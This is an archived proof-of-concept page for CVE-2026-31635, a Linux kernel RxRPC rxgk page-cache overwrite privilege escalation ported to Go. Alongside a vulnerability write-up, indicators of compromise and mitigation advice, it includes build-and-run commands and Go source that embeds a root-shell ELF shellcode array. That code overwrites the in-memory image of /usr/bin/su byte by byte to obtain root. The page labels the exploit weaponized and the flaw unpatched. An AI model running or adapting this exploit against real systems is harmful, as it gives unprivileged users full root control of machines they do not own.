PoC Archive PoC Archive
High CVE-2026-31635 unpatched

DirtyDecrypt-Go — RxRPC rxgk Page-Cache Overwrite LPE (Go Port) — CVE-2026-31635

by Koshmare-Blossom (Go port); original vulnerability discovery and PoC by Aaron Esau / V12 Security · 2026-07-05

Severity
High
CVE
CVE-2026-31635
Category
binary
Affected product
Linux kernel — net/rxrpc/rxgk_common.h (rxgk_decrypt_skb())
Affected versions
Kernels with RxRPC + rxgk support prior to the upstream fix (same range as the wider "Dirty Frag" vulnerability class)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / ResearcherKoshmare-Blossom (Go port); original vulnerability discovery and PoC by Aaron Esau / V12 Security
CVE / AdvisoryCVE-2026-31635
Categorybinary
SeverityHigh
CVSS ScoreNot specified in source
StatusWeaponized
Tagslinux-kernel, lpe, rxrpc, rxgk, page-cache, dirty-pipe-variant, splice, golang, unprivileged
Relatedpocs/binary/2026-05-18_dirtydecrypt/

Affected Target

FieldValue
Software / SystemLinux kernel — net/rxrpc/rxgk_common.h (rxgk_decrypt_skb())
Versions AffectedKernels with RxRPC + rxgk support prior to the upstream fix (same range as the wider “Dirty Frag” vulnerability class)
Language / PlatformGo (single static binary PoC), Linux x86-64
Authentication RequiredNo
Network Access RequiredNo (local; uses an AF_RXRPC loopback connection)

Summary

This is a Go re-implementation (“port”) of the original C dirtydecrypt PoC, now tracked as its own CVE (CVE-2026-31635). The bug is a missing skb_cow_data() call in rxgk_decrypt_skb(): the krb5enc AEAD used by RxRPC’s rxgk security class decrypts skb payload data in-place, directly into whatever physical page backs the skb — including page-cache pages pinned there via vmsplice/splice. Because RxRPC’s rxgk AES-128-CTS decryption is keyed per-call (unlike the deterministic keystream-table technique used by the related fragnesia bug), each corrupting write is probabilistic (~1/256 per byte), but a sliding-window technique allows forward-only, byte-by-byte recovery of the target value without ever needing to win a race. The PoC uses this to rewrite /usr/bin/su’s in-page-cache bytes and obtain a root shell via a PTY, leaving the on-disk binary untouched.


Vulnerability Details

Root Cause

rxgk_decrypt_skb() passes skb fragment pages directly into crypto_krb5_decrypt() for in-place AEAD decryption without first calling skb_cow_data() to ensure the kernel owns a private copy of the backing page. When the backing page is a page-cache page (pinned via vmsplice + splice), the in-place decryption directly corrupts that file’s page-cache contents.

Attack Vector

  1. add_key("rxrpc", ...) installs a randomly generated AES-128 rxgk session key.
  2. An AF_RXRPC client socket connects to a fake UDP server bound to loopback.
  3. The fake server sends a CHALLENGE packet (SecuIdx=6, rxgk); the client responds, establishing the security context.
  4. The fake server builds a malicious DATA packet combining a vmsplice-supplied wire header with a splice-supplied file page (the target file, e.g. /usr/bin/su, at a chosen offset i).
  5. rxgk_decrypt_skb() runs client-side and decrypts in-place, so byte i of the target file’s page-cache becomes a uniformly random byte (1/256 chance of matching the desired value).
  6. A sliding-window technique advances to offset i+1 once byte i matches, so each subsequent fire (corrupting bytes i+1..i+16) never disturbs the already-correct byte i — giving forward-only, race-free convergence at ~256 fires per byte on average.
  7. After ~49,152 total fires (192 target bytes), the target binary’s in-page-cache bytes are fully attacker-controlled, e.g. clearing su’s privilege-check logic, and the PoC drops into a root shell via a PTY — the on-disk file itself is never modified.

Impact

Arbitrary page-cache write primitive usable by an unprivileged local user to achieve local privilege escalation to root, without leaving any modification to the on-disk binary.


Environment / Lab Setup

Target:   Unpatched Linux kernel with the rxrpc module available (autoloaded on socket(AF_RXRPC, ...))
Attacker: Go toolchain (no external tools required — pure Go, single static binary)

Proof of Concept

PoC Script

See main.go, lpe.go, rxgk.go, and pty.go in this folder.

1
2
3
go build -o dirtydecrypt-go .
./dirtydecrypt-go
echo 1 | tee /proc/sys/vm/drop_caches   # cleanup

The binary establishes the rxgk session key, runs the fake-server/loopback DATA-packet exchange described above, and applies the sliding-window byte-recovery technique to progressively corrupt the target binary’s page-cache image until root access is obtained via a PTY.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected root shells spawned from processes with no corresponding sudo/authentication event
  • vmsplice/splice syscall activity involving setuid binaries from an unprivileged user context
  • rxrpc module loaded/active on systems where it is not legitimately used

Remediation

ActionDetail
Primary fixApply the upstream kernel fix adding skb_cow_data() to rxgk_decrypt_skb() (and the related rxkad_verify_packet_2 path) — same range as the “Dirty Frag” family fixes
Interim mitigationrmmod rxrpc and blacklist it: printf 'install rxrpc /bin/false\n' > /etc/modprobe.d/dirtydecrypt.conf

References


Notes

Mirrored from https://github.com/Koshmare-Blossom/Dirtydecrypt-go on 2026-07-05. This is a Go port of the same underlying rxgk page-cache-overwrite technique already archived in this repository as pocs/binary/2026-05-18_dirtydecrypt/ (the original C PoC by Aaron Esau / V12 Security); this entry is mirrored separately because it corresponds to its own assigned CVE (CVE-2026-31635).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
package main

// Sliding-window page-cache write loop.
// Each fire() call at offset i decrypts a 16-byte AES block in-place;
// byte i of the page-cache gets a uniformly random value (random key).
// Once byte i matches shellELF[i], move to i+1.
// The damage to bytes i+1..i+15 is repaired by subsequent fires at those offsets.

import (
	"fmt"
	"os"
	"syscall"

	"golang.org/x/sys/unix"
)

const (
	targetPath    = "/usr/bin/su"
	payloadLen    = 192
	entryOffset   = int64(0x78)
	rxgkMinPayload = 28 // AES-128-CTS confounder(16) + HMAC-SHA1-96(12)
	maxAttempts   = 10000
)

// shellELF is the same 192-byte x86_64 root-shell ELF as the dirtyfrag/fragnesia family.
// PT_LOAD maps [0, 0xb8) RX from vaddr 0x400000; entry at 0x400078 (offset 0x78).
// Code at 0x78: setresuid(0,0,0) + setresgid(0,0,0) + setgroups(0,NULL) +
//               execve("/bin/sh", ["/bin/sh", 0], ["TERM=xterm", 0])
var shellELF = [payloadLen]byte{
	0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
	0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0, 0xb0, 0x6a,
	0x0f, 0x05, 0xb0, 0x69, 0x0f, 0x05, 0xb0, 0x74, 0x0f, 0x05, 0x6a, 0x00, 0x48, 0x8d, 0x05, 0x12,
	0x00, 0x00, 0x00, 0x50, 0x48, 0x89, 0xe2, 0x48, 0x8d, 0x3d, 0x12, 0x00, 0x00, 0x00, 0x31, 0xf6,
	0x6a, 0x3b, 0x58, 0x0f, 0x05, 0x54, 0x45, 0x52, 0x4d, 0x3d, 0x78, 0x74, 0x65, 0x72, 0x6d, 0x00,
	0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
}

// dirtydecryptLPE writes shellELF into the page cache of /usr/bin/su one byte
// at a time using the sliding-window rxgk decrypt primitive.
func dirtydecryptLPE() error {
	rfd, err := syscall.Open(targetPath, syscall.O_RDONLY, 0)
	if err != nil {
		return fmt.Errorf("open %s: %w", targetPath, err)
	}
	defer syscall.Close(rfd)

	mapSlice, err := unix.Mmap(rfd, 0, 4096, unix.PROT_READ, unix.MAP_SHARED)
	if err != nil {
		return fmt.Errorf("mmap: %w", err)
	}
	defer unix.Munmap(mapSlice) //nolint:errcheck

	if suAlreadyPatched() {
		fmt.Fprintln(os.Stderr, "[+] already patched")
		return nil
	}

	changed, skipped := 0, 0
	for i := 0; i < payloadLen; i++ {
		if mapSlice[i] == shellELF[i] {
			skipped++
			continue
		}
		ok := false
		for attempt := 0; attempt < maxAttempts; attempt++ {
			if err := fire(rfd, int64(i)); err != nil {
				continue
			}
			if mapSlice[i] == shellELF[i] {
				ok = true
				break
			}
		}
		if !ok {
			return fmt.Errorf("byte[%d]: stuck after %d fires (cur=%02x want=%02x)",
				i, maxAttempts, mapSlice[i], shellELF[i])
		}
		changed++
	}

	fmt.Fprintf(os.Stderr, "[+] wrote %d bytes (%d changed, %d already correct)\n",
		payloadLen, changed, skipped)

	if mapSlice[entryOffset] != 0x31 || mapSlice[entryOffset+1] != 0xff {
		return fmt.Errorf("verify failed: entry bytes = %02x %02x",
			mapSlice[entryOffset], mapSlice[entryOffset+1])
	}
	fmt.Fprintf(os.Stderr, "[+] /usr/bin/su page-cache patched (entry 0x%x = shellcode)\n", entryOffset)
	return nil
}